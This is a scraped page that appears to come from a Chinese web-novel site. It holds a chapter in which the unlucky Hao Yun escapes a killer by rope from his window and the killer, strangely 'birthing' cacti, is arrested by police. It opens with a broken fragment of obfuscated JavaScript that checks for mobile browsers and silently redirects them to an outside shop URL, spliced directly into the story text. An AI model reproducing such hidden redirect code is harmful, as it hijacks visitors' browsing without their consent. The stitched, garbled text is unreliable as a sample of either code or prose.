0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375011|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立起来的蛆似的。 郝运都没震惊完,紧接着第二个、第三个……一个接一个从鸭舌帽的肚子里往外蹦。 对了,这还是一胎99宝丸。 眨眼间,地上已经全是绿色的小跳“蛆”,都快没下脚的地方。 鸭舌帽已经疯了大半,他瞪着自己的肚子就像是在瞪一个不断往外冒出魔鬼的深渊。 郝运看完这“稀奇”,突然避过满地小玩意,拔腿就往外跑。 他可记着呢,等人生完了就又能健步如飞了,没有半点作为产妇……产夫的虚弱期。 鸭舌帽喊他:“站住,你站住,这是怎么回事,你到底对我做了什么?” 顶着裂了口子往处蹦“诡异”的肚子,他半点不敢动。 郝运已经跑过客厅,跑到了阳台。 他家楼层低,所有窗户都是防盗窗,但这并不能阻止郝运。 资深倒霉人士早就演练过几百次家里发生火灾之后如何逃生,他就是闭着眼睛,都能做到拿到防盗窗的钥匙开窗,再用逃生绳跳楼逃离。 郝运的倒霉虽然无止境,但是大部分时候,它讲究一点创意。 至少短时间内不会发生同样的倒霉事。 比如,大门突然卡死打不开了,那他要开窗基本上就不会遇到“同上”情况。 于是,郝运一气呵成,利用逃生绳从窗户出去,嗖一下降到了底楼。 楼层虽低,他也不敢冒着99%的断腿可能往下直跳。 而警车也在此时赶到小区外,特警、刑警、民警多警合作,悄无声息摸到了楼下。 其中一夜来了两次的民警看到郝运的脸,立即将人认了出来,赶紧将他拉到一边安全处。 “是你报的警?你没事吧?” 郝运一时间说不出话,只伸手指楼上他家,表情说明一切。 所有人跟着他抬头。 缓了这一下,郝运才找回自己的声音:“杀手,在屋里,是捅了小虞总又跟到医院那个鸭舌帽。” 接下来的事就交给警察了,郝运担心这些冲在一线的人员安危,把他从犯罪系统那里得来的信息,混着他的真实所见,一起做了信息补充。 “他有匕首,还拿出手铐铐我,他说自己杀过五个人,你们小心他身上有别的武器,我怕他有枪……还有我家大门门锁坏了,从里面打不开。” 所以人要逃跑的话,大概率是和他一样走窗户。 郝运被认出他的民警带去警车里休息,给他披了块毯子,遮挡了一下还不明亮的天光都遮挡不住鲜红张扬的裤衩子,顺嘴和他搭话,缓解一下情绪。 “今年本命年?现在小年轻还都挺讲究。” 郝运两只大红脚微微不自在地扣成了一个小内八。 “没,就是平时比较倒霉,想图个吉利。” 也就说了几句话,陪着郝运的民警突然说:“抓到了。” 郝运精神一振,跟着对方的视线往小区大门处看。 鸭舌帽双手背铐,左右都是警察。 他头上已经没了帽子,露出半长不短且白了小半的头发。 唯一奇怪的是,他的表情不似被抓之后的颓丧绝望,或是穷凶极恶的亡命之徒的猖狂淡定,而是满满全是世界观受到了冲击的不敢置信,与神经质的神神叨叨。 “不,不是……生了,我生了……仙人掌……好多好多……” 郝运就听坐他旁边的民警啧了一声:“这不是被抓了之后想扮精神病脱罪吧?” 郝运:……有可能,但也可能是真被吓得不太正常了。